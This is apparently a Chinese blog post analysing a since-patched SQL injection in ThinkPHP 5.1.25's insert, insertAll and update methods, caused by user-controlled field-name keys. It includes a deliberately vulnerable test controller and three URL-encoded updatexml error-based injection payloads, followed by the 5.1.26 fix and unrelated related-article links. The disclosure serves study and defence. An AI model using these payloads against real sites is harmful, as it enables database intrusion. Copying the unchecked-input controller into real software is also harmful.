[漏洞分析]thinkphp 5.1.25 insert、insetAll、update方法注入
0x00 前言
这个洞,早在9月29号的时候我提交给先知,那时候tp还是5.1.25的版本,天还很蓝,我也还很年轻。时至今日这个洞依旧没有审核,而tp在这期间都已经更新到了5.1.29。在最近我去跟踪的时候,发现这个洞在5.1.26版本被修复了。好吧,既然修复了,那就公开吧,我博客也好久没有漏洞类文章了。所以说做人还是不能太向钱,有漏洞为什么不直接提给厂商呢?为什么不公开呢?是贪婪让我变得面目全非XD。
事先说明,这个洞其实很鸡肋。
0x01 漏洞详情
版本:5.1.25
影响方法:insert、insetAll、update
条件:传入上面方法的参数数组,用户可控数组的键值(说到这里,了解tp的其实应该知道是什么原因了,就是sql语句中的字段名可控导致的注入),在实际利用的时候还要知道表的一个字段名。
thinkphp\libray\think\db\Builder.php parseData函数 直接看解析$data的代码

跟进parseKey函数,位置:thinkphp\library\think\db\builder\Mysql.php

注意到上面开启了严格模式,key不等于*,所以必然会在两边加上反引号。
回到parseData函数,继续往下走

为了让$item作为$result数组的key值返回,我们可以让传入的数组为一个二维数组,使用表达式方法INC或者DEC,
形如:
$data[key][]='inc';
同时还需要让key中包含'.',否则有可能会抛出异常。

而这里的key就是在传入数据库中的字段位置,可以注入
同时为了$val[1]不报错我们需要传入$data[key][1]=1

嗯,大概分析到这里,有兴趣的去跟踪一下。
0x02 漏洞复现
添加如下代码至index controller中,分别对应三种方法
public function testsql()
{
$data = input('data');
var_dump($data);
$result = db('user')->insert($data);
//$result = db('user')->insertAll($data);
//$result = db('user')->where('id',1)->update($data);
}
为了方便,修改config/app.php,开启调试模式
'app_debug' => true
添加个数据库tptest,下面有一个表user

结构如下:

修改database.php,填写数据库信息:

下面是三种方法的payload,其中需要知道表中的一个字段,这里用的是id
insert 方法
payload:
data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1

insertAll 方法
因为insertAll 做了一层循环,所以需要传入一个三维数组。看到thinkphp\library\think\db\Builder.php insertAll()方法

payload:
data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1

update 方法
payload:
data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][0]=inc&data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][1]=1

0x03 漏洞修复
拉一个tp 5.1.26版本的下来,发现在parseKey方法中做了限制,位置:thinkphp\library\think\db\builder\Mysql.php

对key做了比较严格的验证,限制了可用字符。
0x04 总结
实际中,这种更新,插入的操作大多不可控key值,就算可控key值也比较集中在后台,所以比较鸡肋。
还有一篇也是跟tp有关的,待更新。
[漏洞分析]thinkphp 5.1.25 insert、insetAll、update方法注入的更多相关文章
- [漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录
0x00 简介 2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞. 吃完饭回来看到这个公告都傻眼了,整个tp5系 ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP Mongo驱动update方法支持upsert参数
Mongo数据库update操作有一个相对于Mysql的关键特性,它可以使用upsert模式,当更新的数据不存在时,直接插入,但是ThinkPHP的Mongo驱动居然不支持这一特性,没办法,自力更生了 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- 如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!
当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- Thinkphp 5.1.24 parseKey缺陷导致聚合注入 分析
测试url: http://127.0.0.1/thinkphp/thinkphp_5.1.24/public/index.php/index/index/sqli2?id=2 控制器是获取id参数作 ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
随机推荐
- CSS在项目中常用的属性总结
1.媒体查询 2.如何快速生成适配各种浏览器的属性. 3.全面进军移动app开发.
- BackBone结合ASP.NET MVC实现页面路由操作
1. 问题的背景 什么是页面路由操作,就是通过浏览器地址栏的标记来实现页面内部的一些操作,这些操作具有异步性和持久性.应用场景主要有页面操作过程中的添加收藏夹的操作.后退操作等过程中能完全恢复界面. ...
- 六、regularized logisitic regssion练习(转载)
转载链接:http://www.cnblogs.com/tornadomeet/archive/2013/03/17/2964858.html 在上一讲Deep learning:五(regulari ...
- 设置linux新用户默认当前目录及使用的shell
切换到root用户,直接修改/etc/passwd文件,找到你的用户名你一行,如下图所示修改路径,然后保存即可.
- centos 6.5内核编译步骤及配置详解
1.准备并加压内核安装包:linux-3.13.2.tar.xz # tar xf linux-3.13.2.tar.xz -C /usr/src # cd /usr/src/ # ln -sv li ...
- 轻松读懂MSIL
原文:http://www.cnblogs.com/brookshi/p/5225801.html
- winform(记事本的打印)
- 怎样使用github
https://www.zhihu.com/question/20070065 https://www.shiyanlou.com/courses/868/labs/3163/document 初次尝 ...
- wampserver修改端口号后,phpMyAdmin进不去,需要修改相关配置文件
一.修改Apache端口 1.在界面中选Apache,弹出隐藏菜单选项,打开配置文件httpd.conf: 2.找到 Listen 80: 3.将 80 改成 8080(当然自己也可以设定别的不使用的 ...
- JavaScript对象之深度克隆
也不知道从什么时候开始,前端圈冒出了个新词:对象深度克隆.看起来好像很高大上的样子,实际上并不新鲜,在我们的实际项目开发中,你可能早已用到,只不过由于汉字的博大精深,有些原本很简单的事物被一些看似专业 ...